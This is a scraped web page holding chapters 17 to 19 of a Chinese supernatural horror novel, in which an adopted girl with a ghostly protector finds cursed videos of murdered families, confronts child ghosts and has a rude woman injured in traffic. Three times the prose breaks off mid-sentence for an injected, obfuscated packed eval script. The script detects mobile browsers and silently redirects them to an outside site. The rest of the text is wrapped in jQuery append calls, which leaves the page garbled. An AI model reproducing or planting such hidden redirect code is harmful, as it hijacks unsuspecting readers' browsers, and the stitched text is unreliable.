$(''#content'').append('' 鼠从角落堆着的杂物里窜出来,跳上她的脚背。 科蒂斯眉尖略微皱起,抬脚甩掉,接着对着那团还想逃跑的小东西重重踩了下去。 啪叽。 老鼠的舌头和眼睛一齐吐出,没了动静。 科蒂斯移开脚,鞋底明显的血迹让她眉头紧锁。 妈妈特意为她买的鞋…… 她嫌弃地蹭了蹭脚底。 打开箱子,里面是一部非常富有年代气息的录像机,还有五盘录像带。科蒂斯随手拿起一盘,上面写着家庭聚餐,还标了时间,2011年。 她翻了一下,另外四盘也差不多。 1979年,烧烤。 1966年,泳池派对。 1998年,安睡时刻。 1986年,草坪修剪。 似乎这些只是记录家庭的美好时刻的影片。 但是…真的是这样吗? 科蒂斯不知道,也不想去探究。 她把录像带放回去,又用两根木棍翘起老鼠的尸体,一起丢了进去。最后,她将箱子藏在了阁楼的最深处,并堵住了阁楼的入口,任谁也进不去。 新世界的特别是她生前的十几年都没有遇到过的,她也不是很懂正确的处理办法,但有一条道理却是通用的,那便是好奇心害死猫。 她不会成为那只猫,也不会让她的家人成为。 但没想到的是,科蒂斯还是失算了,在洗漱过后的家庭观影时间,她再次看到了那个眼熟的薄铁皮箱。 “我们今天晚上看这个吧。”克里斯兴致勃勃地说。“我在阁楼上发现的,应该是前面的房主人留下来的家庭录影带。” “噢,真温馨。”玛莎端来果汁到茶几上。“嘿,我们一家人也可以做这种录像,以后等你们年纪大了能经常拿出来看看。” “对,我也这么想。”克里斯打开箱子,拿出里面的录像机。“刚好,看这个,这可是绝版的超8录像机,现在市面上已经很少见到了,我想应该是房主人搬的急漏掉了它。” “我们可以把它留下来拍摄我们自己的家庭录像。” 玛莎:“真不错。” 科蒂斯看着箱子里面,除去录像机和录像带,什么都没有。 她扔的老鼠,不见了。 女孩儿瞳孔微缩。 “爸爸,”科蒂斯开口,阻止了正架起录像机和幕布的克里斯。“或许我们不该乱动别人家的东西,这会不会不礼貌。” 克里斯闻言笑了笑,揉了揉她的头顶:“别担心,little girl,我问过了我朋友。” 科蒂斯点点头,没有继续说下去。 这种时候,说的多了,反而会显得奇怪。 克里斯拿出标题为“家庭聚餐”的录像带,放进了录像机里,不一会儿,有些模糊的彩色画面投在了幕布上。 画面是一家五口正在房子后院聚餐,其乐融融的场面非常温馨。 玛莎捂住胸口:“噢,这也太温暖了。” 克里斯亲了亲妻子,笑着说:“我们以后能拍的更多。” 亚当小口喝着果汁,还不忘给科蒂斯递一杯。 “谢谢哥哥。”科蒂斯接过,却没有立刻喝,她盯着放映的画面,一眨不眨。 突然,录像机灯光闪动,幕布上的画面陡变。 家庭聚餐中的四个人不知被谁套头吊在了树上,随着连接着吊绳另一端树枝被锯断,四人的身体齐齐下坠… 17.第 17 章 “真该死!”克里斯手忙脚乱地关掉了画面,都没注意到自己在孩子们面前说了脏话。 玛莎手疾眼快地将亚当和科蒂斯搂住,脸捂进了怀里。 “克里斯?这是什么东西?”她惊疑不定,声音发虚。 “我…我不知道。”克里斯抹了把脑门上的虚汗。“你先带孩子们去睡觉吧,这里交给我来处理。” 亚当奋力挣脱出玛莎的怀抱:“怎么了妈妈?有什么不能看的吗?” “没什么,亲爱的。”玛莎不想再说这件事,连忙拉着两个孩子离开客厅。“来吧,我们该去睡觉了。” 亚当:“什么?这么早?” 玛莎:“听话,亚当。” 科蒂斯沉默着,任由玛莎拉着她到房间去。 刚才的画面她看到了,那一家人中的四人不知被谁吊死,剩下一个女儿不知所踪。 虽说没有女儿的结局,但科蒂斯猜测,她多半也死了。灭门之人怎么会留下一个定时炸弹呢。 所以,会是受害者将录像带交给他们的吗?想让他们帮忙查清真相? 科蒂斯对此并不感兴趣,她没有多余的怜悯心给不相干的人。 在她看来,尽快离开这栋房子才是最佳选择。 等等…科蒂斯反应过来,低价卖掉这栋房子的上任房主,恐怕也是看到了那卷录像带,才精明地选择尽快脱身。 “妈妈,”科蒂斯捏住玛莎的衣角,眼角噙着泪花,可怜兮兮地瞧着她。“我不想待在这里了,我好害怕。” 玛莎心疼地抱住她:“别哭我的小太阳花,妈妈在这儿,我会保护你的。” “我也会保护你的,科蒂斯。”亚当挥舞着胳膊。“要是有人来欺负你,我就打跑他!” “真棒,小男子汉。”玛莎揉了揉亚当的脸。“OK,你们两个人在房间自己睡好吗?我需要去看看爸爸的事情处理的怎么样了。” 两个孩子乖巧应允。 等玛莎一走,亚当就迫不及待地窜到科蒂斯身边,悄声问道:“你是又看到了鬼魂吗科蒂斯?” 科蒂斯顿了下,虽然到目前为止还没看见一个灵魂,但她还是点点头。 亚当抿着嘴唇,他忽然抱住女孩儿,大人一样轻轻拍打着她的后背:“不怕不怕,哥哥会变得很厉害,一直勇敢地保护你。” 科蒂斯愕然,柔软的脸颊慢慢贴在男孩儿并不宽厚的肩膀上。 “谢谢哥哥。” 客厅,克里斯刚报了警,在等待警察的间隙又给他的朋友打去了电话说明情况。 电话那头的朋友如坠冰窟,怎么也想不到自己才买不久的房子怎么就是凶宅了。 不过,也确实是他贪了便宜,没有对房子做过任何背调。现在卖家早就跑的无影无踪,他想找人也无济于事,只能自认倒霉。 没过多久,小镇的警察就敲响了房门。 来人是位相当年轻的副警长,刚进门,便用疑惑的眼神瞧着克里斯,说明这里曾是发生过灭门惨案的凶宅,劝他尽快搬走。 克里斯只好又将全部情况说明一遍。 “噢,好吧。”副警长对那个上了当的可怜家伙表示同情。“所以先生,您在电话里说的重要证物是?” “就是这些。”玛莎早就打包好了录像机和五盘录像带。“这些录像带是案发现场的录像。” “什么?”副警长神情严肃起来,接过黑色的薄铁皮箱。“我会带回去慎重处理的,感谢你们,这将成为重要线索。” “警官,那些案子之前真的一点进展都没有吗?”玛莎搓了搓手臂。“这箱子里的五盘录像带,是不是就说明一共有五起灭门案?” 副警长叹了口气,沉重地点了点头。 他简要说了一下那五起案子。 每一个家庭都死于不同的杀人手法,且都有一个孩子失踪。不仅如此,每个家庭都在上一个发生了灭门案的家里住过。比如2011年灭门的这家,搬来这栋房子前,便在1998年灭门的那家房子里住过。 没人确定这其中是否有关联,警方压根找不到证据。有人认为是有位杀人魔在暗中窥视,更多的人则猜测是恶灵的诅咒。 除此之外,案发现场疑点实在太多,甚至许多地方从人类犯罪的角度来推理根本不合理。 种种因素叠加,那五起灭门之案成为悬案至今还没告破。 “总之,你们还是尽快离开比较好。”副警长说道。“不管是杀人魔也好,还是诅咒也好,总之,越快远离这栋房子就越安全。” “我们知道了。”克里斯说。“等天一亮我们就走,谢谢你这么晚还跑一趟,警官。” “不客气。”副警长正义凛然。“保护民众的安全是我们的职责。” 然而,副警长没想到他的职责终结于当晚。 刚把箱子带回警局,就被警长发现并丢掉,他还想追问,却被强行阻止。 警长语气非常严肃,不准插手那些案件,否则他就踢他出警局。 年轻的副警长想过反抗,却还是向现实低下了头。 最终,那个装有“重要证物”的薄铁皮箱子被锁进了证物室的柜子里,再也没有人拿出来过。 当然,对于这些情况,克里斯他们还是一无所知。 夫妇二人正连夜收拾东西,准备一早就走,绝不多留。 房间里,科蒂斯听完了他们交谈的全部。 至于亚当,她没让他听见一个字,不想吓坏了他。 比起杀人魔,科蒂斯还是更愿意相信诅咒一说。并且,诅咒与每一户家庭居住过的房子以及录像带密切相关。 受害者的灵魂将录像带送给他们,也许是希望他们能帮忙查清真相,让他们能够安息,也许是想拖他们下水,同样遭到诅咒。 总之,不管是哪种可能性,都要尽快与这栋房子及那些录像带分隔。 夜晚,他们怀着忐忑不安的心睡下。 正准备睡觉时,科蒂斯听见墙壁咚咚响了两声。 “科蒂斯,你睡了吗?”亚当的声音从隔壁房间传来。 “还没有,怎么了?”科蒂斯打开床头的小夜灯,陪他聊天。 “你还害怕吗?”亚当问。“我可以陪你一起睡。” “不怕了。”科蒂斯小声回答。“我知道哥哥会保护我的,对吧?” “一定会!”亚当的声音里带着雀跃与郑重。“但是…我好像有一点点怕,只是一点点。你说,你看到的那些灵魂会伤害我们吗?” 科蒂斯没有马上回答,她侧着身子,脸正对着窗户,与歪脖子树上的伊迪丝妈妈隔窗相望。 那张扭曲的青灰鬼脸,在她眼中分外有安全感。她相信,哪怕这栋房子里真有受害者的灵魂,或者恶灵在游荡,伊迪丝妈妈也会为了她撕碎对方的。 “我觉得不会。”科蒂斯安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426635|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚着亚当的情绪。“害死他们的不是我们,再说,爸爸妈妈也会保护我们的。” “嗯。”亚当的声音弱了下去,过了很久,他才继续说。“我希望我能变得很勇敢,什么都不怕,这样,我就能更好地保护你。” “你足够勇敢了。”科蒂斯曲起手指敲了两下墙壁。“有你睡在我隔壁,我就一点都不害怕了。” 亚当笑了出来:“那太好了,晚安科蒂斯。” 科蒂斯:“晚安亚当。” 她听见隔壁传来哈欠声,接着呼吸声逐渐绵长。 科蒂斯也打了个哈欠,闭上了眼睛。 “醒醒,科蒂斯。” “醒醒。” 凌晨,科蒂斯被若有若无的呼唤声叫醒。 她蓦地睁开眼睛,正好瞧见窗外的歪脖子树,上面空空如也,伊迪丝妈妈不知所踪。只剩下树枝摇摇晃晃,在黑暗中好像一只只枯瘦的鬼手在摆动。 科蒂斯疑惑皱眉,起身坐起来,刚戴好眼镜就却与蹲在床尾衣柜上的一个小鬼四目相对。 那是个男孩儿的灵魂,脸庞肿胀,赤裸着的上半身青青紫紫的全是伤痕。 他直勾勾地盯着科蒂斯,黑白分明的眼睛是满满的怨恨。忽然,他跳下了衣柜,打开柜门钻了进去。 科蒂斯追着下了床,脚踝突兀地被一只冰凉的手握住,那只手不大,却格外有力,想要将她拖下床去。 科蒂斯没有分毫慌乱,只是腿部卯足力气奋力向前一踢,她听见了清晰的骨折声,紧接着床下的胳膊便消失不见。 不止一个灵魂在这儿,科蒂斯确定了这一点。这几个家伙到底想做什么? 她快步走到衣柜前,一把拉开柜门,什么都没有。里面只有她带来的几套衣服,和一套换下来的白床单。 啪嗒。 窗户玻璃好像撞上了什么东西,科蒂斯条件反射地看过去。 黑乎乎的玻璃上,似乎沾上了什么东西,可等她走过去时,玻璃又变得干干净净。 只是透过窗户看着外面的歪脖子树时,好像有几个人影正站在树上。 科蒂斯贴在窗上,眯着眼看过去。 没错,的确是有几个黑乎乎的影子。 她盯得仔细,丝毫没注意到身后的衣柜里,那条白床单自动升起来,顶出来一个孩童的人形。 白床单向科蒂斯飘来,每靠近一点床单底下便多出一个人形来,足足出现五个。 他们悄无声息地来到科蒂斯身后,向她伸出了乌黑的手。 “你们真不该打扰我睡觉。” 背对着他们的女孩儿忽然说出这样一句话。 亡魂们不明所以,下一秒,漫天的黑色发丝如蛛网一般铺来,死死缠绕住他们, 他们想挣扎,却发现自己的力量是如此弱小。 女孩儿转过身来,神情淡漠,像是看透了他们的一切。 五个孩童的亡魂这才恍然发觉,从他们出现开始,这位看似普通的女孩儿就没露出过任何害怕的神情。 她一直都是那副漠然的态度,似乎什么事都动摇不了她的状态,那双漂亮的蓝眼睛,更是结了冰似的,无波无澜。 可是,当那只绑住他们的强大女鬼出现时,她竟然露出了一抹怪异的微笑,她靠在女鬼身上,自然的仿佛孩子依偎母亲一般。 “妈妈,”女孩儿软乎乎地向恶灵母亲撒娇。“帮我撕了他们。” 18.第 18 章 “等一下!” 意识到自己真的要死了,五个亡魂立马变回生前的普通模样。两个女孩儿和三个男孩儿,年纪都很小,最大的不过十来岁。 “求求你放过我们!我们也是被逼的!拜托!” “妈妈。”科蒂斯轻声开口,准备动手的恶灵动作戛然而止,变回平静的样子守候在女孩儿身边。 科蒂斯目光落在绑着两条麻花辫的金发女孩身上:“你。” 她记得这个女孩儿是录像带家庭聚餐中消失的那个孩子,好像是叫斯蒂芬妮。 “斯蒂芬妮?你来说吧,为什么来找我。” 斯蒂芬妮瑟缩了一下身子,她抿了抿嘴唇,在看了眼伊迪丝妈妈后艰涩开口:“我们只是…” 她顿了顿,与同伴们交换了一个眼神,像是在汲取勇气。 “我们需要你的帮助。”她说。“我们想要你将我们所有家庭的灭门真相公之于众,好让我们安息去往天堂同家人团聚。” 科蒂斯歪了歪头,大大的蓝眼睛一眨不眨地盯着他们,似乎在审视着什么。 “录像带是你们放的?” 最终,女孩儿如此问道。 斯蒂芬妮:“是的,那里面藏着凶手的真容,我们希望你能看到。” 科蒂斯:“所以你们知道凶手的样子?” “没错,”斯蒂芬妮回答,她抱着双臂,脸色惨白。“那是一个可怕的魔鬼,我们不能直接面对他。” 科蒂斯:“所以,他的名字是什么?” 沉默骤然蔓延,五个亡魂像是被掐住脖子的鸭子,发不出任何声音。他们缩着身子,展现出极大的恐惧。 “我们…不能说…”斯蒂芬妮断断续续地说道。 好吧,看来是问不出来了。 科蒂斯没了兴趣,她也没打算帮助这群没礼貌的孤魂野鬼。 更何况,谁知道他们说的是真是假。 在看不清现状的时候,明哲保身才是最佳选择。 “我没有兴趣帮助你们。”科蒂斯背着双手,稚嫩的脸庞显得格外阴沉。“现在,离开这里,不要再来打搅,对你们我不会有第二次宽容。” 亡魂们得了自由,一齐转身向后跑入了黑暗中。 房间内重归平静,但科蒂斯却一时没了睡意。 她总觉得,事情好像没有那么简单。 …… 第二天一大早,克里斯和玛莎就收拾好了东西,急吼吼地叫科蒂斯和亚当起床离开,早饭都没好好吃,只用两块面包和番茄罐头打发。 等回了自己的家,坐在了熟悉的沙发上,夫妇二人才重重松了口气,疲惫的行李都不想收拾。 “或许我们该请位神父来一次驱魔仪式?”克里斯想活跃下气氛,半开玩笑地对玛莎说。“我们最近遇见的怪事可真不少,或许真的被不干净的东西缠上了呢。” “这并不好笑。”玛莎捶了他一拳头。 虽然嘴上这么说,但玛莎心里还是起了疑虑。 从亚当被绑架开始,他们家的确糟心事不断。 还有她曾频繁在梦中见过的女鬼…玛莎打了个冷战。 到现在她想起那个可怕的身影还是会感到心悸,哪怕她已经许久没梦见过她。 或许真该请专业的驱魔人来看一看? 玛莎心里嘀咕着。 她在电视上看到的那对姓沃伦的夫妇就很专业的样子。 经历梦见女鬼事件之后,玛莎就总是忍不住在网上搜罗灵异事件,自然而然的,驱魔专家沃伦夫妇进入了她的视野。 她看完了夫妇两人所有的案件,觉得他们并不是那些诈骗敛财的假货。 尤其是罗琳太太,那是一位光看着就让人心安的通灵师。 “在想什么?亲爱的?”克里斯注意到妻子的失神。 “没什么。”玛莎回神,顺势靠在克里斯怀里。“只是觉得,或许你的提议也不错。” 克里斯瞪大了眼睛,双下巴都被吓出来了:“我真的只是在开玩笑。” 玛莎冲他翻了个白眼:“我知道。” 可入了夜,克里斯便动摇了自己的想法。 刚哄完两个孩子入睡,他正准备回自己的房间时,厨房突然传来窸窸窣窣的动静。 声音不大,但在这样静谧的夜里很明显。 他放轻脚步,走了过去。 厨房很暗,但勉强能看清轮廓,克里斯没有看见人影,再加上门锁和警报器都是好的,他便断定不是小偷。 有可能是外面的小动物跑进来了,这附近经常会有浣熊和松鼠。 克里斯想着,顺手拿了餐桌上的水果刀作为防身武器。 哐当—— 灶台上的煎锅翻倒下来,砸在了地上。 克里斯吓了一跳,差点没握住水果刀。 他小心翼翼地走近,突然,煎锅移动了,里头的东西状似要顶开煎锅跑出来。 “噢,你这鲁莽又可怜的小家伙。”克里斯以为是浣熊,放松了警惕。 他弯下腰,不设防地拿开了煎锅。 突然!一条拇指粗的蛇窜了上来! “噢!FUCK!”克里斯手疾眼快,抖掉了蛇。 又顺手拿起煎锅,一锅拍了下去,等确定蛇没了动静,才心有余悸地蹲下。 “怎么会有蛇呢?”克里斯百思不得其解。 他不敢多做他想,找来抹布提溜起蛇尾巴,准备扔到垃圾桶。 可是谁成想,刚打开垃圾桶,一条巴掌大的蜈蚣就从盖子上掉了下来,正好落在了他的脚背上。 “啊!该死的!”克里斯害怕地狂跳,混乱中踩死了蜈蚣。 汁液四溅,他抹了把大汗淋漓的脸,坐下缓缓。 是驱虫没做好吗? 克里斯为这些反常的现象找着理由,但不管是哪种理由都没办法完全说服自己。 最终,他也只是将所有疑问都埋进心里。 “该找驱虫公司来了。”他嘟囔着,将垃圾桶整个扔到外面的垃圾箱中。 夜晚的凉风冷飕飕的,带走全身的汗水,克里斯打了个寒战,全身的倦意一扫而空。 一回到家,莫名见一个人影蹲在廊下的阴影里,直勾勾地盯着他,刚干爽的背再次冒出一层细密的冷汗。 克里斯咽了咽口水,攥紧水果刀后退两步。 他打开灯,看清了人影。 是他的儿子亚当。 克里斯长长地呼出一口气,揉了把被汗水濡湿的头发,他压抑着情绪上前。 “亚当?你在这里做什么?”克里斯喉咙发紧,走上前。 懵懂的男孩手里抓着蜡笔,在白墙上创造着自己的作品。 可只是瞧了一眼,克里斯瞬间头皮发麻。 因为亚当画的,正是录像带中一家人在歪脖子树上被吊死的场景! 克里斯心里打鼓,一把拉起了亚当。 “你在画什么!”他失控地怒吼。 亚当打了个激灵,如梦初醒般委屈求饶。 “对不起爸爸,我知道错了,我不是故意的。” 克里斯后知后觉自己的失态,他做了好几个深呼吸,确定自己冷静下来后,才继续问亚当。 “你为什么要画这个?亚当?你在哪里看到的?” 亚当眨了眨眼睛:“我不知道,爸爸,我好像…做梦梦见了。” 男孩看着好像快要哭出来了,克里斯不忍心继续追问。 他抱起亚当,温柔安抚:“来吧,我送你回房间,外面很冷,你还没穿鞋。” 他送亚当回了房,待男孩重新睡下后,克里斯却偶然间看到了男孩贴在衣柜上的作品。 那同样是一副蜡笔画,同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434064|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一家人被残忍杀死的场景。只不过这个,是他们被锁在车里,活活烧死的画面。 他没有当这是一个男孩天马行空的幻想,而是郑重撕掉了那副简单却诡异的蜡笔画,心情沉重地回了自己房间,摇醒了熟睡中的妻子。 “怎么了?亲爱的?”玛莎迷迷糊糊地呢喃,在触及到丈夫异常冰冷的手臂后,睡意全无。 她坐起来,没有先问原因,只是暖心地将丈夫的额头拉到自己肩膀上靠着。 感受着肩膀处传来的颤抖,玛莎满脸疼惜。 到底是发生了什么?才让这个从不掉眼泪的人如此害怕? 克里斯红着眼眶抬起了头,痛苦说道:“都是我的错…” 玛莎不明所以。 克里斯:“我不该带你们去那栋房子。” “我觉得…”他顿了顿,拿出那张在亚当房间里撕下的蜡笔画。“亚当不正常了。” 看着那副皱巴巴的画,玛莎惊恐地捂住了嘴巴:“怎么会?” “我不知道,但我得做点什么,趁一切尚早。”克里斯很快恢复了日常的状态,变回那个可靠又勇敢的丈夫。“我不能再欺骗自己一切都是巧合了,亲爱的。这不是幻觉,不是迷信,这是真的,我不敢在亚当和科蒂斯身上赌一丝可能性,别说阻止我,也别说我疯了。” 玛莎当然不会阻止:“你打算怎么做?” 克里斯:“你知道沃伦夫妇吗?” 玛莎略显诧异,点了点头。 “在你之前频繁梦见女鬼的时候,我就想过找驱魔人。”克里斯脸颊微红,不好意思地摸了摸鼻子。“那段时间我查过很多资料,我觉得对比来说,沃伦夫妇是最靠谱的。当时我已经跟他们取得了联系,可后来你睡眠正常了,我也就取消了行程。” 玛莎意外却不惊讶。 她一直都知道这个男人如此爱她,但是担心得到处去找驱魔人?还是有些超出她的预料。 她忍不住抱住这个几十年来难得害羞的丈夫,深深一吻。 分开后,玛莎问道:“所以,你打算去找他们?” “是的,”克里斯又凑上去亲了亲玛莎的嘴唇。“我了解到他们最近在邻边的城市有公开讲座,我要去找他们,请求他们来帮我们。” “我需要去两三天。”说着,他眼中满是担忧。 “别担心。”玛莎抚摸着丈夫的脸,语气坚定。“去吧,我会照顾好孩子们。” 克里斯:“谢谢你,亲爱的。” 两人依偎在一起。 等第二天醒来的时候,科蒂斯便注意到家里没了克里斯的身影。 出于好奇,她去问了玛莎,可得到的却是模糊不清的答案。 “你爸爸他有很急的工作要忙。”玛莎说。“等过两三天他就回来了。” “噢。”科蒂斯懂事地没有追问。 但她敏锐地察觉到,昨晚一定是发生了特殊情况,才让这份“工作”来的如此之急。 可惜她昨晚睡的太好了,半点动静都没察觉。 科蒂斯又打了个小小的哈欠。 她隐隐感觉,灵魂与这具身体已经完全契合,导致身体年龄的影响爆发式扩大。 简言之,她好像真的快成为一个五岁的小孩儿了。 科蒂斯放松地想道。 一块热气腾腾蓝莓派被放到她面前。 科蒂斯眼睛刷的亮起,不客气地拿起勺子吃起来。 好吧,当五岁小孩儿的感觉也不错。 “早,科蒂斯,早,妈妈。”亚当垮着一张脸来到餐桌旁。 “早,亚当。”玛莎脸色变了变,眼中的心疼快要溢出来,她撑起微笑,对两人说道。“快吃吧,等下我带你们去公园玩。” 亚当兴致缺缺:“噢。” 而科蒂斯,在瞧见玛莎面对亚当的态度后,若有所思。 19.第 19 章 城市公园里有一块专门给儿童玩耍的游乐园,设施丰富,人也多,对带孩子的家长们来说是个很好的地方。 玛莎带着两个孩子来到这里,希望他们能转移注意力,不去问爸爸究竟去哪儿了。 而她自己,也需要好好放松放松。 确认两个孩子都在自己视线范围内,玛莎难得悠闲地和公园里的熟人聊起天。 回归到孩子的群体,科蒂斯见识到了亚当的交友能力。 他简直像只开朗的金毛小狗,能轻易和任何孩子聊起天来,不管是男孩还是女孩,不管是同龄还是不同龄,他总能挑起话题,并且从来不会冷场。 再加上亚当拥有的诸多游戏,而差不多年纪的孩子们总是对游戏感兴趣的,所以没一会儿,亚当就成了一小群孩子的中心。 科蒂斯坐在小摇摇马上,撑着脸看着亚当。内心不禁感叹。 “你…你好。”耳边传来一个弱弱的声音。 科蒂斯扭头,见到一个戴着黑框眼镜、脸上长着小雀斑的腼腆男孩,扭捏地站在她身旁。 科蒂斯不明所以地看着他。 “我…”小卷毛男孩支支吾吾地说不出话,条件反射地向后望了一眼。 科蒂斯看过去,一位长相相似的女士正在为他加油,应该是他的妈妈。 她收回视线,想了想,礼貌起身让开了位置。 “不不不!”小雀斑男孩连忙摆手,涨红着脸辩解。“我不是想玩这个,我是想和你一起玩。” 说完,还不等科蒂斯反应,他自己先害羞地缩起脑袋。 唔…这该做什么反应才算正常呢? 她正思考着呢,眼前忽然晃过一个身影。 “嘿!你在对我妹妹做什么呢!”是亚当冲了过来,挡在了她身前。“你在欺负她吗?小心我揍你!” 小雀斑男孩浑身一颤,委屈巴巴地一秒落泪。 “妈妈!”他哭喊着跑回去,扑进自己妈妈怀里。 接住他的女士哭笑不得,附近围观了全程的大人们也笑得半天直不起腰。 “额…”亚当挠了挠头,看向科蒂斯。“我说了很过分的话吗?” 科蒂斯耸耸肩。 这个小插曲并没有影响亚当的心情,他抓住科蒂斯的手,带着她去见自己的朋友们。 “看!这是我妹妹科蒂斯,全天下最可爱的人!”他对众人炫耀着,骄傲地像只花孔雀。 “嗨!科蒂斯!” 朋友们热情地回应。 科蒂斯一时有些不适应,但很快调整好状态,露出最标准的微笑。 “你们好。” 朋友们热烈邀请她加入他们的游戏。 女孩儿坐在人群中央,红色的裙摆铺在草地上,像一朵盛开的花,漂亮极了。 玛莎看着他们,眼神慈爱,不知不觉忘记了那些怪事。 “那个女孩儿,就是你们最近收养的那个吧?”朋友问。“亚当和她关系真好。” 玛莎:“是啊,他们是最兄妹。” 朋友停顿两秒,犹豫开口:“可是,好像从她来了之后,你们家就一直状况不断…我记得她刚来亚当就被绑架了,再就是你的严重失眠…” 不等对方说完,玛莎就板起了脸,语气严肃地质问:“你这是什么意思?” 朋友喉咙发紧,含糊地说:“那个新闻大家都看过,可怕的森林杀人魔杀了那么多孩子,她幸存了下来,这很好,可会不会有不干净的东西从森林里跟着她出来了?她也许不该留在你们家,我说这些没别的意思,只是为你好。” 玛莎气急:“那是我女儿!你再敢说这种话小心我不客气!我真的会去警察局告你!” 她恼火地起身去了另一张长椅,不想再跟这种人多说一句话。 眼见玛莎真动了火,朋友讪讪闭上了嘴。她没发现,人群中,一双冰冷的蓝眼睛,正阴狠地盯着她。 过了两个小时,公园里的人逐渐散去,玛莎那位出言不逊的朋友也带着孩子离开。 科蒂斯看了眼还在玩耍的亚当,跟他说要去洗手间之后,悄悄随着人流跟在了朋友身后。 可就在她走后,树林里走出来五个孩子,他们朝亚当招了招手,将他唤了过去。 科蒂斯跟着朋友来到外面的街道,等到了要过马路时,刚好遇见红灯。 于是,她将婴儿车停在身旁,拿起手机刷起来。 科蒂斯看向婴儿车,抬了抬眼眸。 下一秒,婴儿车轮子的安全锁自动打开,它好似被看不见的手推了一把,诡异地滑向路中央。 “小心!” 等周围人提醒她时,婴儿车已经闯进了密集的车流。 反应不及的司机们频频按响喇叭,转动方向盘。 但神奇的是,竟然没有一辆车撞上婴儿车。 “不!我的孩子!”朋友痛苦哭嚎一声,吓的瘫软在地,连滚带爬地冲向车道。 围着的人掺了她一把,她爬起来,总算有了力量站起来,可是下一秒,人群中好像有人“不小心”挤了她一下。 她踉跄着向前倒去,栽在路面上,紧接着,一辆摩托避让不及,碾过了她的小腿。 “啊!”朋友发出一声惨叫,但她无暇顾及腿,只是望着停在车流中间的婴儿车。“我的孩子!” 人群上前帮忙,两边的司机也慢慢停下来。 最后,是穿着红裙子的女孩儿抓到了婴儿车的把手,将它惊险地拖了回来。 “谢谢你谢谢你!”朋友惊魂未定,根本没有心思去看来人的长相,她艰难地爬起来,看到婴儿车中的宝宝睡的依旧安稳,她才重重松了口气,瞬间失去全部的力量跌坐在地。 “真的谢谢你。”朋友再次感谢,可一抬头,就愣了愣。 因为面前的女孩儿正是她几个小时才教唆朋友舍弃的孩子,她认为的“不祥之子”。 她尴尬地移开眼神,有些不知所措。 “不用谢。”科蒂斯扬起嘴角,微笑标准的像是刻出来的一样。 多么友善又可爱的女孩儿啊。 朋友瞬间懊悔自己对玛莎的说辞。 围观群众打了救护车,等车来了又帮忙将她抬了上去,宝宝则交给了赶来的丈夫照顾。 至于科蒂斯,早就悄悄退到了远处。 在看到那人的腿血肉模糊,至少得好几个月休养时,她并不明显地挑了挑眉,转身离去。 “So special。” 耳畔若有若无传来这样一句话,科蒂斯回头看去,却什么都没看见,恍若那只是一句风带来的呢喃。 她皱起眉,快步回到公园。 公园里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439831|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走的差不多了,科蒂斯一眼就瞧见了着急的玛莎。 “妈妈。”她喊了一声。 玛莎向她跑来,后怕地抱住她,话语因心急而带着斥责:“你们都去哪里了!我有说过要待在我的视线范围内!” “抱歉妈妈,”科蒂斯从善如流地道歉。“我只是去洗手间了。” 玛莎后知后觉自己的态度不好,向科蒂斯道歉:“抱歉,宝贝,我只是有些担心。” “没关系。”女孩儿乖巧摇头。“我们去找亚当吧。” 这公园不大,两人分头找遍花不了多少时间。但科蒂斯觉得,亚当在公园却不来找她的可能性很低,于是改道进了容易藏人的树林。 这片公园旁的树林也不大,毕竟是儿童公园,要是有孩子在里面出意外,公园管理者自然逃脱不了家长们的口诛笔伐。所以这片树林一直有人定期打理,保证面积不增长及安全性。 果然没走进多久,她就看到了亚当。 只不过,他并不是独自一人,有另一道欣长的身影站在他对面。 那人被大树遮挡,看不清,只能勉强看见对方的背影。黑色的西服裁剪得体,不像是普通人能消费的起的。 还不等科蒂斯靠的更近,亚当骤然扭头看她。 神秘男人似乎也偏过头在看她,但树遮挡了太多,科蒂斯瞧不真切。 “科蒂斯!”亚当朝她欢快招手,小跑过来。 她的注意力被吸引开,等视线再转向神秘男人时,对方已经消失了。 人类会有这么快的速度吗? 她不觉得。 “亚当,你刚才在跟谁说话?”她问,语气少见地有些许起伏。“妈妈不让我们跟陌生人说话的。” “噢,那不是陌生人,是博古先生。”亚当说,自然地拉上科蒂斯手往外走。 科蒂斯平静下语气,继续问道:“博古先生是谁呀?” “一个朋友,”亚当想了想,又补充道。“是朋友的朋友,他懂很多东西,是个超棒的人。” “噢。”女孩儿垂着长长的睫毛,掩住神色。“他为什么走掉了?因为不喜欢我吗?” 亚当猛地扭头,又大又圆的棕眼睛装满了不可置信:“你是天底下最可爱的小孩儿,谁都会喜欢你的!” 科蒂斯视线飘忽一瞬。 亚当又说:“博古只是不太喜欢见陌生人啦,他比较害羞。” 科蒂斯:“喔。那你们都聊些什么?” 